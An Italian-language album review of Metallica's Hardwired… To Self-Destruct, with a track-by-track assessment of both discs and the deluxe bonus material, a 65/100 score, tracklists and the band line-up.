METALLICA – Hardwired… To Self-Destruct

METALLICA – Hardwired… To Self-Destruct

METALLICA – Hardwired… To Self-Destruct

TITOLO: Hardwired… To Self-Destruct
ARTISTA:
Metallica
GENERE:
Heavy/Thrash Metal
ANNO:
2016
PAESE:
USA
ETICHETTA:
Blackened Recordings

 
Erano passati otto anni dal tanto discusso Death Magnetic e nello scorso 2016 i Nostri hanno licenziato Hardwired… To Self-Destruct, il loro undicesimo full length.

 

DISCO UNO:
Hardwired… To Self-Destruct conta dodici tracce distribuite su due cd, i quali arrivano a sfiorare gli ottanta minuti di musica.
Il primo disco risulta essere intelligentemente strutturato, divertente da ascoltare ed anche discretamente vario, mentre il secondo ha qualche riempitivo di troppo e ciò viene aggravato dal fatto che nelle sei canzoni presenti, cinque brani sono scanditi da midtempo fin troppo scolastici, poco vari ed insufficientemente fantasiosi. Non solo siamo dinanzi ad una banalità quasi scontata ma ciò che va ad aggravare la riuscita del secondo disco è anche una durata fin troppo prolissa, la quale non è giustificata dalla semplicità dei brani proposti. Il primo disco parte subito in quarta con la title track dal sapore old school, schietta e diretta che con la sua energia e la sua durata concisa fa partire nel modo giusto il lavoro dei quattro cavalieri di Frisco, riuscendo così a rimandare al celebre Kill ‘Em All. Subito dopo la scarica d’adrenalina dell’opener giunge Atlas, Rise! brano che inizialmente risulta essere piatto e poco interessante, ma riascoltandolo si riescono a cogliere sfumature che fanno acquistare punti alla canzone. In Atlas, Rise! l’influenza maideniana è evidente sin da subito, andando a ricordare a tratti Hallowed Be Thy Name.
Il secondo brano proposto dal combo americano è, a conti fatti, il primo episodio meno ispirato del primo disco.
Now That We’re Dead, terza traccia del lotto, presenta dei buoni i riff, un ritornello ammiccante ed una sezione ritmica monolitica ed è un semplice affresco Hard Rock e per certi versi accostabile agli episodi più energici di Load.
In quarta posizione abbiamo la canzone che fu scelta come secondo singolo apripista del full: Moth Into Flame.
Questo brano si dimostra essere in uno stile Heavy/Thrash energico con un rimando ai Metallica di Ride The Lightning, ma in una versione più snella e moderna. Si passa successivamente a Dream No More nella quale aleggiano i fantasmi del tanto discusso Black Album: un midtempo dai connotati possenti e rocciosi quello imbastito dai quattro, che fa da contrappeso alle liriche molto catchy di Hetfield. La traccia proposta è molto semplice, ma comunque coinvolgente grazie alla potenza sprigionata dai Nostri. Come ultimo brano della prima parte dell’album, la band ha proposto la traccia di maggiore durata: Halo On Fire, la quale supera gli otto minuti e, nonostante questo, non solo riesce ad essere un pezzo efficace ed ottimamente riuscito, ma è anche uno degli highlits del lavoro in sé. La band, in quest’ultima traccia, non ci propone l’ennesima divagazione sul tema di Fade To Black (come accadde nel precedente Death Magnetic), le melodie sono indovinate e l’assolo finale ci accompagna fino alla fine del brano nel migliore dei modi.

 

DISCO DUE:
L’ ingrato compito di aprire le danze con la seconda parte del lavoro spetta a Confusion: un midtempo roccioso che stilisticamente rimanda sia al Black Album sia al meglio di Reload. La successiva ManUNkind invece, per nostra sfortuna, riesce a conquistare il titolo non certo invidiabile di mero filler poichè risulta essere un’altro brano con una ritmica fin troppo semplice e basilare nel quale vengono aggiunti riff che ci portano alla memoria i Black Sabbath. La terza traccia del lotto è Here Comes Revenge i cui riff iniziali sono piacevoli, ma successivamente il brano perde di mordente; la colpa, se così si può definire, è da imputare alla durata decisamente eccessiva del pezzo, che a fronte delle poche idee si trascina per poco più di sette interminabili minuti con una ripetizione estenuante del ritornello. Am I Savage? continua con la scia delle ritmiche mid, con un’intro che ricorda Welcome Home (Sanitarium) seguita da granitici riff di chitarra da parte della coppia d’asce Hetfield/Hammett. Abbiamo nel piatto un’Heavy Metal robusto, moderno e con qualche riferimento al Metal britannico dei primi anni Ottanta che riesce in parte a risollevare le sorti del lavoro, dopo le goffe cadute di stile di cui abbiamo precedentemente discorso.
Si passa poi alla tanto chiacchierata Murder One: questa è l’omaggio da parte della band al compianto Lemmy.
Anch’essa ha un’intro simile al brano precedente, ma su lidi più oscuri; qui si presenta inoltre un Heavy Metal dai tratti semplici e rocciosi. In Murder One è presente uno dei migliori assoli di Hammett: un bel tributo a uno dei loro idoli in una traccia che non fa gridare al miracolo, ma che risulta piacevole. Come canzone finale la band decide di chiudere con Spit Out The Bone, Speed/Thrash che arriva senza alcun preavviso, viste le coordinate stilistiche del secondo disco.
L’intro è abbastanza  similare a quello della title track con un Ulrich sugli scudi, seguito a ruota dal resto del gruppo.
Il pezzo esula da quanto sentito finora nel secondo disco e si dimostra veloce, potente e molto energico. Il guitarwork si attesta su ottimi livelli, tra riff ispirati, aperture melodiche riuscite e assoli fulminei. In Spit Out The Bone bisogna necessariamente evidenziare la Prestazione maiuscola di Hetfield non solo come riffmaker, ma anche come cantante; la traccia si dirama nei suoi sette minuti tra cambi di ritmo. Con poche possibilità di smentita, i Metallica hanno lasciato alla fine la punta di diamante dell’album la quale riesce ad entusiasmare ed a salvare in corner il secondo disco. Ed è con Spit Out The Bone che si conclude la decima fatica in studio della band californiana: un brano che lascia però rabbia ed amarezza per come è stata strutturata la seconda parte del lavoro. Hardwired… To Self-Destruct lascia la sensazione che con qualche track in meno avremmo avuto un disco migliore e senz’altro più gradevole.

 

DISCO TRE: 
Infine è bene spendere qualche riga per l’edizione deluxe dell’album: qui troviamo come opener la non troppo esaltante Lords Of Summer in una nuova versione, leggermente più corta e lenta, intelligentemente scartata e messa sotto veste di bonus track.
Successivamente la band ci propone cover e svariati live: tra le cover si segnala l’ottimo Ronnie Rising Medley.
Quest’ultimo è un medley che era stato già pubblicato nel 2014 in una raccolta-tributo allo storico cantante di origini italiane Ronnie James Dio. I Metallica, con il medley tributo, non sfigurano, elogiando il compianto Dio nel migliore dei modi sfoderando una performance entusiasmante. Piacevoli e riuscite anche le cover When A Blind Man Cries e Remember Tomorrow.
Dopo la tripletta di cover si giunge al meglio della deluxe edition; le successive sei tracce sono eseguite al Live At Rasputin Music, cornice nella quale la band presentò le ristampe dei suoi primi due album. Infine l’ultima traccia del lotto è la title track suonata live per la prima volta in quel di Minneapolis, frangente nel quale Hardwired trova il suo habitat naturale.

 

Conclusioni:
La produzione è davvero ottima e la band ha fatto tesoro delle feroci critiche ricevute otto anni fa: abbiamo suoni nitidi e cristallini, nei quali si riconoscono bene tutti gli strumenti, compreso il basso.
Il classico pelo nell’uovo può essere riscontrato nella batteria capitanata da Ulrich poichè quest’ultima risulta essere, talvolta, fin troppo invadente e protagonista rispetto al resto del combo; ciò però non compromette la qualità del suono. Da rimarcare la buona prestazione di Hetfield che, negli ultimi anni, insieme all’ottimo bassista qual è Trujillo, riesce a mantenere ben salde le redini della band. Se vi sono piaciuti i Metallica del Black Album e dei lavori successivi, questo nuovo full probabilmente lo apprezzerete; in caso contrario, se rimpiangete i primi quattro dischi e non siete mai riusciti a digerire le successive svolte musicali, fareste bene a lasciarlo nello scaffale ed a rivolgere l’attenzione ad altro.
I rimandi agli anni Ottanta, ed a quelle sonorità Thrash tanto care ai nostri che le caratterizzavano in principio, sono ben poche (in quattro canzoni per l’esattezza).
D’altro canto però, è altamente consigliabile la deluxe edition con le sue validissime bonus track soprattutto grazie all’ottimo live incluso.

Alla fine però una domanda sorge spontanea: è valsa la pena aspettare tutto questo tempo per Hardwired…to Self-Destruct?

Ad ognuno di voi, ed a noi, l’ardua sentenza.

 

VOTO: 65/100

Tracklist Disco Uno:
1. Hardwired
2. Atlas, Rise!
3. Now That We’re Dead
4. Moth Into Flame
5. Dream No More
6. Halo On Fire

Tracklist Disco Due:
1. Confusion
2. ManUNkind
3. Here Comes Revenge
4. Am I Savage?
5. Murder One
6. Spit Out The Bone

Tracklist Disco Tre (Deluxe Edition):
1. Lords Of Summer
2. Ronnie Rising Medley (A Light In The Black/Tarot Woman/Stargazer/Kill The King)
3. When A Blind Man Cries
4. Remember Tomorrow
5. Helpless (Live At Rasputin Music)
6. Hit The Lights (Live At Rasputin Music)
7. The Four Horsemen (Live At Rasputin Music)
8. Ride The Lightning (Live At Rasputin Music)
9. Fade To Black (Live At Rasputin Music)
10. Jump In The Fire (Live At Rasputin Music)
11. For Whom The Bell Tolls (Live At Rasputin Music)
12. Creeping Death (Live At Rasputin Music)
13. Metal Militia (Live At Rasputin Music)
14. Hardwired (Live At Minneapolis)

Line – Up:
James Hetfield
– Voce, Chitarra Ritmica
Kirk Hammett – Chitarra Solista
Robert Trujillo – Basso, Cori
Lars Ulrich – Batteria

WEB:
Metallica

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Sebastiano Dall'Armellina

sebastiano

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